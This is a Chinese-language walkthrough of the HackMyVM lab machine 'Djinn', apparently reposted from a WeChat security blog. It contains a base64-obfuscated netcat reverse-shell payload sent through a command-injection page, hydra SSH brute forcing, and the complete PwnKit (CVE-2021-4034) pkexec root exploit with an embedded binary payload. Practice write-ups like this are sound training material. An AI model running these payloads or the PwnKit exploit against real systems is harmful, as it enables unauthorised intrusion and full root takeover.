靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Djinn
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx
靶场: HackMyVm.eu
靶机名称: Djinn
难度: 简单
发布时间: 2022年4月25日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
fping -ag 10.0.0.0/24 2>/dev/null
扫描到主机地址为10.0.0.152
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.152 -oN nmap.log
扫描到21、22、1337多个端口开放。其中22端口被过滤了,21端口支持匿名访问,先来看看21端口。
匿名访问FTP
ftp 10.0.0.152
anonymous
ftp目录下发现3个文本,下载后查看
get creds.txt
get game.txt
get message.txt
exit
cat creds.txt
cat game.txt
cat message.txt
creds.txt中的内容猜测是一组账号密码
game.txt中的内容提示1337端口下是个游戏,通关后有奖励
message.txt中的内容猜测nitish81299可能是个账号
先来看看1337端口
nc 10.0.0.152 1337
是简单的加减乘除运算,但是需要计算1000次才通关,来写个脚本
sum.py
import pwn
import time
c = pwn.remote('10.0.0.152', '1337')
c.recvuntil('gift.n')
count=0
while count < 1001:
count += 1
data = c.recvuntil(b")").decode()
c.recv()
print(data)
num1, num2, todo = int(data[1]), int(data[9]), data[5]
if todo == "+":
answer= num1 + num2
elif todo == '-':
answer= num1 - num2
elif todo == '*':
answer= num1 * num2
elif todo == '/':
answer= num1 / num2
c.send((str(answer) + "nr").encode())
print(answer, count)
time.sleep(0.5)
print(c.recv().decode())
请适当调节暂停时间
python3 sum.py
运行后我们拿到3组数字,猜测是端口敲门,验证一下
端口敲门
knock 10.0.0.152 1356 6784 3409
sudo nmap -p22 10.0.0.152
22端口开放了,尝试用之前拿到的账号密码登录SSH
ssh [email protected]
登录失败,使用nitu和nitish81299做用户名暴破SSH
SSH暴破
vi user.txt
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.152
暴破失败,看来是走错了,重新扫描开放端口
sudo nmap -p- 10.0.0.152
发现另一个端口,加上参数扫描后发现是Python环境运行的HTTP服务,来检查下这个站点。
Web渗透
http://10.0.0.152:7331
访问后未发现可利用的信息,来做个目录扫描
dirsearch -u http://10.0.0.152:7331 -w ~/HackTools/Dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
扫描到两个目录,来访问下
http://10.0.0.152:7331/wish
wish目录像是可以执行命令,验证一下。
确实可以执行,执行后跳转到另一个目录genie回显在url中,尝试反弹shell。
1。攻击机监听4444端口
nc -lvvp 4444
2。多次尝试后找到最终payload,执行反弹shell
echo ` echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4wLjAuMyA0NDQ0ID4vdG1wL2Y=" | base64 -d ` | sh -
反弹成功,先切换到交互式shell,再来找找敏感信息
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
find / -perm -u=s -type f 2>/dev/null
有个at和pkexec两个命令,先来试试pkexec
提权方法1:
上传并执行exp
python3 -m http.server
pkexec.py
#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""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"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
cd /tmp
wget http://10.0.0.3:8000/pkexec.py
python3 pkexec.py
提权成功,来找找flag
cat /home/nitish/user.txt
cat /root/root.txt
拿到root权限,有点太简单了,再来换种方法。
提权方法2
cd /home/nitish/.dev
ls
cat creds.txt
在/home/nitish/.dev目录下找到creds.txt文件,文件中的一段字符串看起来很像账号密码,尝试登录ssh
ssh [email protected]
登录成功,来找找敏感信息(如果无法登录请再次尝试端口敲门)
sudo -l
发现可以用sam用户身份执行/usr/bin/genie命令,来看下这个命令如何使用(在此之前使用-h查看帮助,里面少了一个-cmd参数)
man genie
看起来可以执行命令,验证一下
sudo -u sam /usr/bin/genie sdf -cmd
经过多次验证发现genie后面只需随便填写几个字符再加上-cmd命令便可提权
拿到sam权限来找找如何提权到root
sudo -l
发现可以使用root身份执行lago文件,再来看看这个命令是做什么的
sudo /root/lago
程序运行后选择第2个选项猜数字游戏,让你从1-100先一个数,当你猜中了就会返回shell
试了十几次后猜中了(可能是运气好也可以用while true;do sudo /root/lago; done这条命令让程序循环执行,你只需要不停的按2和回车,这个结果是随机的所以无法保证多少次后可以匹配到正确结果,看运气吧,太晚了不想写脚本了,祝你好运),拿到root权限,游戏结束。
原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.84 Djinn
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论